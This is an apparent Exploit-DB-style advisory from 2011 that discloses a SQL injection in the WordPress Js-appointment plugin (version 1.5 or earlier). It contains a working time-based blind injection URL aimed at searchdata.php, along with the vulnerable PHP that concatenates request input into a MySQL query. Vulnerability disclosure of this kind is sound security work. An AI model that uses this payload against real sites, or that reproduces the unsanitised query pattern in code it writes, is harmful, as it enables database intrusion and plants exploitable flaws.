WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerability

# Exploit Title: WordPress Js-appointment plugin <= 1.5 SQL Injection Vulnerabil
ity
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/js-appointment.1.5.zip
# Version: 1.5 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/js-appointment/searchdata.php?search_acti
on=searchadv&cat=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,
112))),0)--%20

---------------
Vulnerable code
---------------
if (!empty($_REQUEST['search_action'])) {
    switch($_REQUEST['search_action']) {
        case 'searchadv':
    require_once(PLUGIN_PATH_ALLBOOK."/libs/class.book.php");
    $settings = allbook_get_settings();

    if ($_REQUEST["cat"]) {
    $category = $_REQUEST["cat"];
    } else {
    $settings = allbook_get_settings();
    $category = $settings['allbook_catinit'];
      }
    //$times = create_time_range($settings['allbook_datastart'], $settings['allb
ook_dataend'], $settings['allbook_datarange']);
   $categoryquery = mysql_query("SELECT * FROM wp_resservation_cat WHERE id= '".
$category."'");
   $rowcategory = mysql_fetch_array( $categoryquery );
...

p.s. contacted Secunia (no reply), contacted author (no reply)